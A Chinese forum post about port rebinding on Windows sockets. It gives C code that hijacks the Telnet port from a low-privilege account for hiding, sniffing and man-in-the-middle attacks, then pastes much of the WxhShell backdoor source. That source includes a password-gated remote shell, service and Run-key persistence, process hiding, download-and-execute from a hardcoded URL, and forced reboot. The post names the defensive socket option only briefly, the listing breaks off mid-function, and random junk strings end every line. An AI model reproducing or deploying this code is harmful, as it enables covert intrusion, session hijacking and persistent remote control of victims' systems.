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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7#Mi`W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q16RDQ*  
lgU7jn  
  saddr.sin_family = AF_INET; H}A67J9x  
*<J**FhcMu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?k/Uw'J4u/  
j5AW}   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9+pnpaZB0  
q0Fy$e]u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WFTTBUoH  
S#jE1EN  
  这意味着什么?意味着可以进行如下的攻击: rN OwB2e  
=5+:<e,&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M}HGFN  
8I JFQDGA9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N'IzHyo.  
T<!TmG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J-=&B5"O>  
By%aTuV$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V_h, UYN  
N"T+. r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hD sFsG  
"zfy_h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l]GLkE  
!s5 _JO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :Z,zWk1|  
lBl`R|Gt  
  #include I/t2c=f  
  #include s+,JwV?b  
  #include NU81 V0:jG  
  #include    ZjbMk 3Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h%Bp%Y9  
  int main() )%P!<|s:5  
  { ZfoI7<?33  
  WORD wVersionRequested; p9fx~[_5/  
  DWORD ret; nD|Bo 9  
  WSADATA wsaData; ?z p$Wz;k  
  BOOL val; (;\JCeGA  
  SOCKADDR_IN saddr; !Vy/-N  
  SOCKADDR_IN scaddr; 7N 7W0Ky  
  int err; L -<!,CASW  
  SOCKET s; c.r]w  
  SOCKET sc; z" 4$mh  
  int caddsize; *IfLoKS'  
  HANDLE mt; 2e#hJ-/`-  
  DWORD tid;   <\Lii0hi!  
  wVersionRequested = MAKEWORD( 2, 2 ); \vsfY   
  err = WSAStartup( wVersionRequested, &wsaData ); r3;?]r.}7  
  if ( err != 0 ) { Iy'a2@   
  printf("error!WSAStartup failed!\n"); x+47CDDu3  
  return -1; kect)=T(  
  } 0"LJ{:plz  
  saddr.sin_family = AF_INET; 5@6F8:x}V  
   ??)IPRv?yF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \\xoOA.  
V-IXtQR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G,3.'S,7  
  saddr.sin_port = htons(23); &i$p5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LS <\%A}  
  { m?0caLw<  
  printf("error!socket failed!\n"); [<rV "g  
  return -1; CN+[|Mz*p  
  } "K;f[&xO,o  
  val = TRUE; |L,_QXA2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Sjv_% C $  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M*$#j|  
  { \$$DM"+:;H  
  printf("error!setsockopt failed!\n"); Z0 @P1  
  return -1; S8 .1%sw  
  } yp9vgUs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n Hz Xp:"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '9.L5*wh]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !W^P|:Qt  
~x4]^XS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,=jwQG4wq  
  { bdbTK8-  
  ret=GetLastError(); i_Ol vuy~  
  printf("error!bind failed!\n"); ~U}0=lRVS  
  return -1; a'r8J~:jy  
  } |ZC@l^a7  
  listen(s,2); x5jd2wS Dx  
  while(1) #%5[8~&  
  { 0w<vc}{t  
  caddsize = sizeof(scaddr); &P'd&B1   
  //接受连接请求 K+|G9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nz1u:D]  
  if(sc!=INVALID_SOCKET) LYhjI  
  { 'ioX,KD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); | $  
  if(mt==NULL) V(wm?Cc]  
  { /fgy07T  
  printf("Thread Creat Failed!\n"); ~T">)Y~+xI  
  break; (J} tCqP  
  } B:oE&Ahh{  
  } r^zra|]  
  CloseHandle(mt); <aSjK#  
  } 1K\z amBg  
  closesocket(s); upi\pXv  
  WSACleanup(); DXyRNE<G[C  
  return 0; XN|[8+#U<@  
  }   [+;>u|  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zmx[:-  
  { ` "Lk@  
  SOCKET ss = (SOCKET)lpParam; o=C:=  
  SOCKET sc; W<Ri(g-  
  unsigned char buf[4096]; q[}W&t,  
  SOCKADDR_IN saddr; efN5(9*9R  
  long num; T]oVNy  
  DWORD val; zPm|$d  
  DWORD ret; `]F}O \H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M,w5F5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $/J4?Wik  
  saddr.sin_family = AF_INET; ;x,yGb`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^J~5k,7jX  
  saddr.sin_port = htons(23); L+ K,Y:D!W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tji*\<?  
  { N.'-9hv  
  printf("error!socket failed!\n"); Ky[s& >02  
  return -1; N||a0&&  
  } lq}m0}9<  
  val = 100; sU7fVke1   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s'B$/qCkR  
  { XmJ?oPr7  
  ret = GetLastError(); d C>[[_  
  return -1; Xx,Rah)X3  
  } s+0n0C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T|k_$LH  
  { pgd9_'[5  
  ret = GetLastError(); =j^>sg]  
  return -1; 2=,O)g  
  } F e1^9ja  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hm, H3pN  
  { <I 0EjV  
  printf("error!socket connect failed!\n"); <g$bM;6%  
  closesocket(sc); thLx!t  
  closesocket(ss); z?<Xx?Kk  
  return -1; a! gj_  
  } &0x;60b  
  while(1) VV-%AS6;  
  { HC!5AJ&+}v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7<0oK|~c#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y?'Z'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 blx"WVqo  
  num = recv(ss,buf,4096,0); B,b^_4XX$  
  if(num>0) c8h71Cr  
  send(sc,buf,num,0); BN1,R] *;  
  else if(num==0) +?'a2pUS  
  break; dnzZ\t>U  
  num = recv(sc,buf,4096,0); TUN6`/"  
  if(num>0) O[+\` 63F=  
  send(ss,buf,num,0); vyBx|TR  
  else if(num==0) eWOZC(I*z  
  break; BD2Gv)?g  
  } d1}cXSQ1T  
  closesocket(ss); >)t-Zh:n  
  closesocket(sc); |U`A So  
  return 0 ; ST1;i5   
  } >@tJ7m M  
"G!,gtA~  
7*eIs2aY  
========================================================== _ |G') 9  
LS/ZZAN u  
下边附上一个代码,,WXhSHELL 8a;;MJ)  
.R^q$U~v3  
========================================================== t=IM"ZgfL  
0ZJrK\K;  
#include "stdafx.h" 6m0- he~  
9Xe|*bT  
#include <stdio.h> af_b G;  
#include <string.h> uoq|l  
#include <windows.h> byHXRA)39  
#include <winsock2.h> ~? n)/i("  
#include <winsvc.h> R[W'LRh~:1  
#include <urlmon.h> DD'RSV5]  
G&q@B`I  
#pragma comment (lib, "Ws2_32.lib") :gM_v?sy  
#pragma comment (lib, "urlmon.lib") ts &sr  
9w<k1j  
#define MAX_USER   100 // 最大客户端连接数 ~pw%p77)  
#define BUF_SOCK   200 // sock buffer {# N,&?[  
#define KEY_BUFF   255 // 输入 buffer H<Zs2DP`  
N&G; `  
#define REBOOT     0   // 重启 'XI-x[w  
#define SHUTDOWN   1   // 关机 7I0K= 'D7  
&;[0.:;  
#define DEF_PORT   5000 // 监听端口 8b X?HeYrr  
Nazr4QU  
#define REG_LEN     16   // 注册表键长度 ]t-B-(D  
#define SVC_LEN     80   // NT服务名长度 72\o6{BiC  
42Cc`a%U  
// 从dll定义API 7&2CLh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /h,-J8[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2NF#mWZ(s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); es1'z.UJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]#\/1!W  
3J[ 5^  
// wxhshell配置信息 Uc0Sb  
struct WSCFG { ]GiDfYs7%  
  int ws_port;         // 监听端口 o(YF`;OhvS  
  char ws_passstr[REG_LEN]; // 口令 Lf+3nN  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6oLZH6fG  
  char ws_regname[REG_LEN]; // 注册表键名 Bg}(Sy  
  char ws_svcname[REG_LEN]; // 服务名 x8Nij: K#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i}kMo@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {^@qfkZz^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b/UjKNf@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jN%+)Kj0C)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L[Y|K%;~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "v+%F  
i&Me7=~  
}; "uU[I,h  
q;<Q-jr&O  
// default Wxhshell configuration ~2}^ -,  
struct WSCFG wscfg={DEF_PORT, 2(>=@q.1H  
    "xuhuanlingzhe", ++CL0S$e  
    1, 8]&lUMaqVZ  
    "Wxhshell", 98!H$6k  
    "Wxhshell", 70E@h=oQ  
            "WxhShell Service", W C3b_ia  
    "Wrsky Windows CmdShell Service", sx][X itR+  
    "Please Input Your Password: ", ZIJTGa}B q  
  1, @,SN8K0T  
  "http://www.wrsky.com/wxhshell.exe", 9S{?@*V  
  "Wxhshell.exe" z1LY|8$G  
    }; 7J$Yd976  
'?b.t2  
// 消息定义模块 8zH/a   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &$.x1$%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y5:al7*P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n$jf($*  
char *msg_ws_ext="\n\rExit."; B=hJ*;:p  
char *msg_ws_end="\n\rQuit."; !gG\jC~n  
char *msg_ws_boot="\n\rReboot..."; ]|4mD3O  
char *msg_ws_poff="\n\rShutdown..."; 6N'HXL UlQ  
char *msg_ws_down="\n\rSave to "; }9>X M  
J.pe&1  
char *msg_ws_err="\n\rErr!"; * TR ~>|  
char *msg_ws_ok="\n\rOK!"; 6WEu(}=  
C lzz!v  
char ExeFile[MAX_PATH]; AK5$>Pkvk  
int nUser = 0; m NApFwZ  
HANDLE handles[MAX_USER]; 9Jp "E5Ql)  
int OsIsNt; Tp%4{U/0`  
.E0*lem'hE  
SERVICE_STATUS       serviceStatus; c$]NXKcA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <=&7*8u0+  
G+l9QaFv  
// 函数声明 +ywd(Tuzm  
int Install(void); U4,hEnJBT  
int Uninstall(void); nuX W/7M  
int DownloadFile(char *sURL, SOCKET wsh); n`g:dz  
int Boot(int flag); Y^CbpG&-vC  
void HideProc(void); p$&6E\#7  
int GetOsVer(void); k<\]={ |=  
int Wxhshell(SOCKET wsl); ( ?pn2- Ip  
void TalkWithClient(void *cs); o)IcAqN$H  
int CmdShell(SOCKET sock); vh6#Bc)i%w  
int StartFromService(void); h}$]3/5H  
int StartWxhshell(LPSTR lpCmdLine); 4!tHJCq"  
m#(ve1E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8v']>5S]#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m7~[f7U  
^9I^A!w=  
// 数据结构和表定义 _\2^s&iJh  
SERVICE_TABLE_ENTRY DispatchTable[] = o*1t)HL<  
{ &-6 D'@  
{wscfg.ws_svcname, NTServiceMain}, O"x/O#66  
{NULL, NULL} |A@Gch fd  
}; }V % b  
o'nrLI(t  
// 自我安装 hy|X(m  
int Install(void) A[m4do  
{ AAt<{  
  char svExeFile[MAX_PATH]; ld*RL:G  
  HKEY key; Rd.[8#7VE  
  strcpy(svExeFile,ExeFile); $[P>nRhW  
?W"9G0hTqM  
// 如果是win9x系统,修改注册表设为自启动 1eDc:!^SD  
if(!OsIsNt) { )04lf*ti  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IRQ3>4hI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |d1%N'Ll  
  RegCloseKey(key); ?OPAf4h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e/h7x\Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^6 sT$set  
  RegCloseKey(key); _[W`!#"  
  return 0; 0\y@etb:mf  
    } c{t[iXDG  
  } WtTwY8HC  
} 20f):A6  
else { R4|<Vp<U2  
l7r!fAV-f  
// 如果是NT以上系统,安装为系统服务 IK-E{,iKc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `-N&cc  
if (schSCManager!=0) ?$^qcpJCp  
{ hrRX=  
  SC_HANDLE schService = CreateService A fctycQ-  
  ( KCed!OJ+  
  schSCManager, hOx">yki  
  wscfg.ws_svcname, 3f :I<S7  
  wscfg.ws_svcdisp, U;:,$]+  
  SERVICE_ALL_ACCESS, -zVa[ &  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :=tPC A=  
  SERVICE_AUTO_START, a4}2^K  
  SERVICE_ERROR_NORMAL, p=(;WnsK  
  svExeFile, M_4g%uHG  
  NULL, PaFJw5f  
  NULL, otO6<%/m  
  NULL, VQvl,'z  
  NULL, >9g`9hB  
  NULL pTK|u!fs  
  ); TPds)osZT  
  if (schService!=0) ,&HZvU&  
  { ^"%SHs  
  CloseServiceHandle(schService); t=]&q.  
  CloseServiceHandle(schSCManager); FZ/l T-"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tH"SOGfSt  
  strcat(svExeFile,wscfg.ws_svcname); q'?:{k$%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hqY9\,.C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ${ ~UA 6  
  RegCloseKey(key); Xze   
  return 0; s%z'1KPS  
    } _rqOzE)  
  } va8V{q@t'  
  CloseServiceHandle(schSCManager); zY|]bP[NEH  
} AAdRuO{l1  
} ^ >ca*g  
LxVd7r VY6  
return 1; ?Y'S /  
} d/(=q  
zHB{I(q  
// 自我卸载 >{4pEy  
int Uninstall(void) 5e,Dk0d  
{ W &4`eB/4}  
  HKEY key; H9w*U  
g}3c r .  
if(!OsIsNt) { *ma/_rjK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xIrpGLPSh  
  RegDeleteValue(key,wscfg.ws_regname); d #a  
  RegCloseKey(key); Ik1,?A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h{sW$WA  
  RegDeleteValue(key,wscfg.ws_regname); 2ezuP F  
  RegCloseKey(key); WytCc>oL  
  return 0; n a2"Sy=Yi  
  } &bj :,$@  
} =tH+e7it  
} &U xN.vl  
else { [NvEX Td  
B:z-?u#B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =,[46 ;q  
if (schSCManager!=0) 4 _N)1u !  
{ ja7Z v[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %TG$5' )0  
  if (schService!=0) q'hV 'U  
  { <'~8mV1  
  if(DeleteService(schService)!=0) { vt mO  
  CloseServiceHandle(schService); d!KX.K\NM,  
  CloseServiceHandle(schSCManager); BdO$  
  return 0; ~~zw[#'  
  } $hSu~}g  
  CloseServiceHandle(schService); *-|+phi m  
  } ]QT0sGl  
  CloseServiceHandle(schSCManager); ;*W]]4fy  
} \-s) D#Y;r  
} R~ w(]  
[l#WS  
return 1; B@zJ\Ir[  
} R[&lk~a{=  
4!k={Pd  
// 从指定url下载文件 fe37T@  
int DownloadFile(char *sURL, SOCKET wsh) "}SERC7  
{ mZ;yk(  
  HRESULT hr; cfeX (0  
char seps[]= "/"; +X*`}-3  
char *token; FYcMvY  
char *file; ZVp\ 5V*  
char myURL[MAX_PATH]; &{]%=stI  
char myFILE[MAX_PATH]; @su{Uno8/  
qfSoF|  
strcpy(myURL,sURL); fSqbGoIQ  
  token=strtok(myURL,seps); 3Gp4%UT&  
  while(token!=NULL) w ^<Y5K  
  { )i_FU~ LRq  
    file=token; INbjk;k  
  token=strtok(NULL,seps); m]-8?B1`Y  
  } Y6L+3*Qt  
Jl]]nO BQ/  
GetCurrentDirectory(MAX_PATH,myFILE); kmc9P&  
strcat(myFILE, "\\"); u=E?N:I~F  
strcat(myFILE, file); '-i tn  
  send(wsh,myFILE,strlen(myFILE),0); =|U2 }U;  
send(wsh,"...",3,0); 4G>|It  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =(n'#mV  
  if(hr==S_OK) zi?'3T%Ie  
return 0; 3yKI2en"  
else AVyZ#`,  
return 1; MW`a>'0t?  
7 $9fGo  
} "}OFwes  
q5vs;,_ |  
// 系统电源模块 Yip9K[  
int Boot(int flag) >|Jw,,uf  
{ 4|$D.`Wu  
  HANDLE hToken; 0[1 !K&(L  
  TOKEN_PRIVILEGES tkp; d(@A  
m@O\Bi}=}  
  if(OsIsNt) { 9>i6oF]Oq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L\Jl'r|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pm1 " 0  
    tkp.PrivilegeCount = 1; @Qs-A^.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1=;QWb6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m|]^f;7z  
if(flag==REBOOT) { D+SpSO7yg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  Nr[Rp  
  return 0; \OU+Kl<  
} YjX=@  
else { 42wcpSp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mb>6.l  
  return 0; CD&m4^X5D  
} AltE~D/4  
  } +uLo~GdbE  
  else { .d "+M{I  
if(flag==REBOOT) { Agi1r]W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R{[Q+y'E  
  return 0; 8zc!g|5"  
} + kF[Oh#  
else { P+b^;+\1s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Oq2H>eW`f  
  return 0; Iv<9} )2K  
} *.*:(7`  
} DO\EB6xH>%  
J7\q #]?  
return 1; mNeW|3a  
} x>J3tp$2  
W vJ?e  
// win9x进程隐藏模块 e6R "W9  
void HideProc(void) pMB=iS<E  
{ 7P`1)juA9  
(Z$6J Nkz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >o} ati  
  if ( hKernel != NULL ) s =5H.q%PV  
  { q],R6GcVr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bvgD;:Aj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2Y4&Sba^Y  
    FreeLibrary(hKernel); W<LaR,7  
  } vf yv a  
{@#L'i|  
return; if}]8  
} rl^LS z  
-7O/ed+  
// 获取操作系统版本 ^ <VE5OM  
int GetOsVer(void) z`5I 1#PVA  
{ Ozv.;}SE  
  OSVERSIONINFO winfo; vs@:L)GW\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); spx;QLo  
  GetVersionEx(&winfo); 2SJh6U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U(N$6{i_  
  return 1; M([H\^\:  
  else ~yi&wbTjM  
  return 0; \!QF9dP4  
} =Yj[MVn  
lkZC?--H  
// 客户端句柄模块 5 WppV3;  
int Wxhshell(SOCKET wsl) u-9t s  
{ _;q-+"6L;  
  SOCKET wsh; `fkri k  
  struct sockaddr_in client; %'T>kz*A  
  DWORD myID; @L!#i*> 9  
48g^~{T4O  
  while(nUser<MAX_USER) JYr7;n'!  
{ }AiS83B  
  int nSize=sizeof(client); YhT1P fl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nh=Us^xD  
  if(wsh==INVALID_SOCKET) return 1; VQ?H:1R  
x#0@ $  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qiw eM?-  
if(handles[nUser]==0) 'Xl>,\'6  
  closesocket(wsh); 0:Y`#0qK  
else <u?hdwW \  
  nUser++; \.1b\\  
  } Gr@{p"./z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c2\vG  
)Zf}V0!?+  
  return 0; N#)VD\m  
} G`#gV"PlC  
4_%FSW8-  
// 关闭 socket CDYx/yO  
void CloseIt(SOCKET wsh) uHro%UAd  
{ ^X;Xti  
closesocket(wsh); ~fp+@j-A  
nUser--; {}o>ne nx\  
ExitThread(0); -fx88  
} O|&TL9:  
D Ok^ON  
// 客户端请求句柄 aaug u.9  
void TalkWithClient(void *cs) I!7.fuO  
{ W:poUG1UR  
!(_xu{(DL  
  SOCKET wsh=(SOCKET)cs; K2rS[Kdfaq  
  char pwd[SVC_LEN]; z83:a)U  
  char cmd[KEY_BUFF]; `VFl|o#H  
char chr[1]; ZU.)K>'  
int i,j; :ZfUjqRE  
,N7l/6  
  while (nUser < MAX_USER) { pd>a6 lI`  
~R@m!'I k  
if(wscfg.ws_passstr) { :/[YY?pg-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : |*,Lwvd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sHTePEJ_h  
  //ZeroMemory(pwd,KEY_BUFF); w52HN;Jm  
      i=0; DYKV54\ue  
  while(i<SVC_LEN) { eAYW%a  
~`>26BWQz  
  // 设置超时 )4)iANH?  
  fd_set FdRead; `;qv}  
  struct timeval TimeOut; xFm{oJ!]&  
  FD_ZERO(&FdRead); +Q!xEfpO;  
  FD_SET(wsh,&FdRead); SxW}Z_8x  
  TimeOut.tv_sec=8; p@8^gc  
  TimeOut.tv_usec=0; KO]?>>5S6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l6B^sc*@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gqdB!l4  
=E}%>un  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `{|}LFS>  
  pwd=chr[0]; &Y>~^$`J  
  if(chr[0]==0xd || chr[0]==0xa) {  mz VuQ  
  pwd=0; {.D2ON  
  break; 8cBW] \ v  
  } 3Ra\2(bR  
  i++; S[hJ{0V  
    } E"1 ;i  
?tC}M;~  
  // 如果是非法用户,关闭 socket g. Caapy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h,'mN\6t  
} Z:Y.":[ Qi  
=Sb:<q+Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : 9?Cm`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); So\|Ye  
X|damI%  
while(1) { !Zyx$2K  
y|+~>'^JR  
  ZeroMemory(cmd,KEY_BUFF); &^ 3~=$  
?` eYW Z">  
      // 自动支持客户端 telnet标准   9{UP)17  
  j=0; ptWG@"j/b  
  while(j<KEY_BUFF) { BtpjQNN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n#^?X  
  cmd[j]=chr[0]; 6KCCbg/  
  if(chr[0]==0xa || chr[0]==0xd) { &v auLp  
  cmd[j]=0; >.O*gv/ _  
  break; ok>P [ &!  
  } `m@]  
  j++;  lGnql1(  
    } ,'1Olu{v[s  
a._^E/EV  
  // 下载文件 %$Jq t  
  if(strstr(cmd,"http://")) { _> |R-vQ8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V:F+HMBk  
  if(DownloadFile(cmd,wsh)) Ef_F#X0#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L=$?q/=-  
  else 93^(O8.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hc&uE3=%sL  
  } S QM(8*:X  
  else { PX69  
RlslF9f  
    switch(cmd[0]) { #lyM+.T  
  K[#v(<)  
  // 帮助 Qw6KX#n  
  case '?': { p-i.ITRS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |auX*hb9  
    break; 1O]5/Eu  
  } {+/ .5  
  // 安装 !rsa4t@ t  
  case 'i': { |?2 hml  
    if(Install()) i!.I;@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wlr&g xZ  
    else h=K36a)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e\^g|60f_  
    break; w]W`R.  
    } PzMlua  
  // 卸载 u8<&F`7j  
  case 'r': { GTp?)nh^  
    if(Uninstall()) <*A|pns  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n?ZL"!$  
    else o%/-5-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 409x!d~it  
    break; _UH/}!nqB  
    } 2|0Qk&  
  // 显示 wxhshell 所在路径 G.-h=DT]  
  case 'p': { q:2aPfo&  
    char svExeFile[MAX_PATH]; *;OJ ~zT  
    strcpy(svExeFile,"\n\r"); [V> :`?  
      strcat(svExeFile,ExeFile); )p/=u@8_f  
        send(wsh,svExeFile,strlen(svExeFile),0); 3WO#^}t  
    break; t?]\M&i&  
    } kW<Yda<a  
  // 重启 pBg|n=^  
  case 'b': { b"R, p=M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5#TrCPi6A  
    if(Boot(REBOOT)) KdOh'OrT9.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D0Vyh"ua  
    else { z)58\rtz  
    closesocket(wsh); H-/; l54E  
    ExitThread(0); 6m, KL5>W  
    } Ism^hyL  
    break; S+) l[0  
    } YM #  
  // 关机 PwFQ#Z  
  case 'd': { zp7V\W; &  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sc;iAi (  
